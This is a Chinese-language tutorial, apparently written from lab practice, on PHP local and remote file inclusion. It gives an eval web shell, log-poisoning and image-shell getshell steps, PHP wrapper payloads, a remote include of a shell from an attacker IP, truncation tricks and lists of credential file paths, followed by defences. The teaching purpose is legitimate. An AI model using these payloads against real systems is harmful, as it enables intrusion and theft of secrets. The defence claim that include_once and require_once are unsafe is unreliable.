文件包含漏洞(File Inclusion Vulnerability)是一种常见的网络安全漏洞,通常发生在 web 应用程序中。这种漏洞允许攻击者在应用程序中包含、执行或显示本不应该被访问的文件内容。文件包含漏洞通常发生在以下两种情况中:
- 本地文件包含(Local File Inclusion,LFI):攻击者通过构造恶意请求,使应用程序包含本地文件系统上的文件,通常是敏感文件。这些文件可以包括密码文件、配置文件、日志文件等,泄露敏感信息或执行恶意代码。攻击者通常通过修改 URL 参数或请求头来实施这种攻击。
- 远程文件包含(Remote File Inclusion,RFI):攻击者利用应用程序允许包含远程文件的漏洞,将恶意代码包含到应用程序中,以执行攻击者控制的代码。通常,攻击者提供一个远程 URL,应用程序会下载并执行其中的内容。
- 输入验证和过滤:确保应用程序对用户提供的文件路径或 URL 进行适当的输入验证和过滤,以防止包含恶意文件或路径。
- 使用白名单:仅允许应用程序包含已知可信的文件或路径,而不是黑名单,因为黑名单可能不完全,无法覆盖所有潜在的攻击。
- 隔离文件系统权限:确保应用程序运行在具有最小权限的帐户上,以减少攻击者获取访问文件系统的机会。
- 定期更新和维护应用程序:确保应用程序和相关组件都是最新的,以修复已知的漏洞。
- 安全编程实践:开发人员应当采用安全编程实践,避免将用户提供的输入直接用于文件包含操作,尤其是未经适当验证和过滤的输入。
- 使用 Web 应用程序防火墙(WAF):WAF 可以帮助检测和阻止文件包含漏洞等攻击。
# 常见文件包含函数
- PHP:
- include (): 用于将文件包含到 PHP 脚本中。如果包含的文件不存在,它会产生警告,但脚本会继续执行。
- require (): 与 include () 类似,但如果包含的文件不存在,它会产生致命错误,停止脚本执行。
- include_once (): 用于包含文件,但只包含一次,以防止重复包含。
- require_once (): 与 include_once () 类似,但只包含一次,并且如果文件不存在会产生致命错误。
- Python:
- execfile (): 用于执行 Python 文件。可以将外部文件的代码动态执行在当前环境中。
- import: 用于导入其他 Python 模块。这通常更安全,因为 Python 的导入系统有内置的安全性。
# 代码分析
$html=''; | |
if(isset($_GET['submit']) && $_GET['filename']!=null){ | |
$filename=$_GET['filename']; | |
include "include/$filename";// 变量传进来直接包含,没做任何的安全限制 |
-
本地文件包含 - 包含本地的文件
-
本地有一个 shell 文件内容是 <?php phpinfo ();eval ($_POST [‘cmd’]);>
-
![]()
-
传入参数去包含 shell,…/ 是表示上目录,查找有没有这个文件如果有的话就包含这个文件执行里面的
-
php 代码如果是不可执行的话返回内容
![]()
![]()
- 配合图片马使用也是可以包含执行的
- 上传图片马然后用蚂蚁剑连
![]()
![]()
# 包含日志文件进行 getshell
常见的中间件和服务器日志文件的默认路径可以因软件版本、操作系统和配置而异,但通常以下是一些常见的默认日志文件路径:
- Apache HTTP Server:
-
错误日志文件: /var/log/apache2/error.log (Debian/Ubuntu) 或 /var/log/httpd/error_log (CentOS/RHEL)
访问日志文件: /var/log/apache2/access.log (Debian/Ubuntu) 或 /var/log/httpd/access_log (CentOS/RHEL)
-
Nginx:
-
错误日志文件: /var/log/nginx/error.log
-
访问日志文件: /var/log/nginx/access.log
-
Tomcat:
-
错误日志文件:$CATALINA_BASE/logs/catalina.out(通常在 catalina.out 或 catalina.log 文件中)
访问日志文件: $CATALINA_BASE/logs/access_log
- 错误日志:
- 默认情况下,IIS 的错误日志通常位于 % SystemDrive%\inetpub\logs\LogFiles\W3SVC#\ 目录中,其中 ** # ** 代表站点的唯一 ID。通常,这个目录中会有多个子目录,每个子目录对应一个不同的站点。
- 访问日志:
- 访问日志通常也存储在与错误日志相同的目录中,即 % SystemDrive%\inetpub\logs\LogFiles\W3SVC#。这里的 # 仍然代表站点的唯一 ID。通常,访问日志文件以 u_exYYMMDD.log 格式的方式命名,其中 YYMMDD 代表日期。
- 用 burp 抓包然后把提交的参数写成一句话木马
- 然后 apache 服务器日志里会有这样的记录 127.0.0.1 - - [30/Oct/2023:17:51:19 +0800] “GET /vul/fileinclude/fi_local.php?filename=&submit=% E6%8F%90% E4% BA% A4% E6%9F% A5% E8% AF% A2” 400 2220 里会有我们刚才提交的一句话木马,然后用文件包含去包含
- 这个日志文件里面的一句话就会被执行错误日志也可以(前提是要有权限)



# 配合文件上传漏洞 getshell
文件上传一个 txt 文本或者图片里面添加一句话木马



# 伪协议
- file://:
- 用于访问本地文件系统中的文件。在文件包含漏洞攻击中,攻击者可能尝试使用这个协议来包含恶意文件。
- http:// 和 https://:
- 用于访问 HTTP 和 HTTPS URL 资源。这些协议通常用于从 Web 服务器上获取数据。
- ftp:// 和 ftps://:
- 用于访问 FTP 和 FTPS URLs,可以用于上传和下载文件。
- php://:
- 用于访问各种输入 / 输出流,如 php://input 和 php://output,在 PHP 中执行文件操作时非常有用。
- zlib://:
- 用于压缩和解压缩流。
- data://:
- 用于处理数据 URL,允许将数据直接嵌入到 URL 中。
- glob://:
- 用于查找匹配的文件路径模式,通常用于文件操作。
- phar://:
- 用于处理 PHP 归档文件,通常用于包含 PHP 库和资源。
- ssh2://:
- 用于 SSH2 协议,可用于安全的 Shell 访问和文件传输。
- rar://:
- 用于处理 RAR 文件。
- ogg://:
- 用于处理音频流,特别是 Ogg Vorbis 音频文件。
- expect://:
-
用于处理交互式流,通常用于自动化脚本。
-
# php.ini 设置
allow_url_fopen 和 allow_url_include 是 PHP 配置选项,用于控制是否允许在代码中访问远程资源和包含远程文件。这两个选项与安全性有关,因为它们可以影响应用程序的安全性。下面分别介绍这两个选项:
- allow_url_fopen:
- allow_url_fopen 是一个 PHP 配置选项,用于控制是否允许通过 fopen () 函数或其他文件处理函数来访问远程资源。如果这个选项被启用(设置为 1),PHP 允许在代码中使用类似 fopen (“http://example.com/resource”, “r”) 的方式打开远程 URL,并读取它们的内容。如果禁用(设置为 0),PHP 将不允许这样的操作。
- 需要小心,因为启用 allow_url_fopen 可能会导致安全风险,特别是在处理用户提供的 URL 时。攻击者可能尝试包含恶意远程文件或执行恶意代码,从而引发安全问题。
- allow_url_include:
-
allow_url_include 是另一个 PHP 配置选项,它控制是否允许通过 include 和 require 函数包含远程文件,如 include “http://example.com/malicious.php”;。如果启用(设置为 1),PHP 允许包含远程文件。如果禁用(设置为 0),PHP 将不允许包含远程文件。
- 启用 allow_url_include 可能会引发安全风险,因为攻击者可以尝试包含远程恶意代码.
-
![]()
# 协议用法
# php://input
- php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
- 遇到 file_get_contents () 要想到用 php://input 绕过
- 可以访问请求的原始数据的只读流,将 post 请求中的数据作为 PHP 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input, 同时 post 想设置的文件内容,php 执行时会将 post 内容当作文件内容。从而导致任意代码执行。
- 比如写 或者写一句话?file=php://input POST: 需要写入的数据
![]()
# php://file
- 用它来本地包含读取本地敏感文件比如 file:///etc/passwd
- 读取相对路径 php?file=…/…/php.ini
# php://filter
-
php://filter/convert.base64-encode/resource = 文件路径 base64 读取读取后 base 解码得到源码
-
![]()
-
解码得到 admin password
# zip://
-
用于访问对应的压缩文件子文件但是要绝对路径 zip 文件跟子文件要用# %23 分割, 只需要是 zip 的压缩包即可,后缀名可以任意更改
-
相同的类型还有 zlib:// 和 bzip2://
-
利用 page=zip://D:\Everydaytools\phpstudy_pro\WWW\www.dvwa.com\vulnerabilities\123.zip%23123.txt
-
![]()
-
得到 123.zip 里面的 123.txt
# data:// 协议
-
类似与 php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的 data:// 流会被当作 php 文件执行。从而导致任意代码执行。
-
?page=data://text/plain,或者用 baes64 编码后?page=data://text/plain,PD9waHAgcGhwaW5mbygpOz8+
-
![]()
# 文件包含常用路径
# 日志文件
- /usr/local/apache2/logs/access_log
- /logs/access_log
- /etc/httpd/logs/access_log
- /var/log/httpd/access_log
- /var/log/nginx/access.log
- /var/log/nginx/error.log
- $CATALINA_BASE/logs/access_log
- $CATALINA_BASE/logs/catalina.out
# 网站配置文件
- dedecms-- data/common.inc.php,
- discuz 全–config/config_global.php,
- phpcms–caches/configs/database.php
- phpwind- -conf/database.php
- wordpress-- wp-config.php
# 系统配置文件
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd [0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
win
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置
C:/Windows/repairsam// 初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置
C:/Windows/my.ini//Mysql 配置
# 远程文件包含
- 当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件。
- http://192.168.0.103/lfi.php?file=http://xxx.xxx.xxx.xxx/shell.txt xxx.xxx.xxx.xxx 设置为远程的 ip
# 文件包含截断
# %00 截断
- php 版本要低于 5.3.4 使用 include 等文件包含函数,可以截断文件名,但是会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成 \0 截断会失败。
# 超长文件包含截断
- 合适于 win32 可以使用。进行截断 和 .(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256) 利用操作系统对目录最大长度限制。在 window 下 256 字节 linux 下 4096 字节
# 点截断
- php?file=x.jpg…
# /. 截断
- php?file=shell.png%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2 e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2 e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e
# 远程包含截断
- ?url=%3f
- 00url=%00
- #url=%23
# 防御
- 输入验证和过滤:
- 对用户提供的输入进行验证和过滤,确保用户输入不包含恶意数据。
- 使用白名单控制,只允许应用程序需要的文件和目录被包含。
- 使用白名单控制:
- 确保只有可信的文件和目录被包含。不要从用户提供的数据中构建文件路径。
- 限制包含文件的目录,只允许访问应用程序需要的文件和目录。
- 避免直接用户输入:
- 不要直接将用户输入用作包含文件的路径。如果必须使用用户提供的输入,确保对其进行严格的过滤和验证
- 使用安全的文件包含函数,如 include () 和 require (),而不是不安全的函数,如 include_once () 和 require_once ()。
- 文件权限:
- 设置适当的文件和目录权限,以确保只有授权的用户可以访问和执行文件。
- 避免将敏感文件放在 Web 根目录下,以减少可能的攻击面。
- 配置安全:
- 配置 Web 服务器和应用程序框架以最小化攻击面。
- 禁用不必要的文件包含功能,如 allow_url_fopen 和 allow_url_include,以防止包含远程文件。
- 监控和日志:
- 实施监控和日志功能,以及时检测和响应潜在的文件包含攻击。
- 安全开发实践:
- 培训开发人员,使他们了解文件包含漏洞和其他常见 Web 应用程序漏洞。
- 使用安全编程技术,如输出编码和防止 SQL 注入,以加强应用程序的整体安全性。
- 安全扫描:
- 定期进行安全扫描和渗透测试,以识别和修复文件包含漏洞以及其他潜在的漏洞。
综上所述,文件包含漏洞的防御需要综合使用多种方法,包括输入验证、白名单控制、文件权限管理、安全配置和教育开发人员等措施。这些措施有助于降低文件包含漏洞对应用程序的风险。









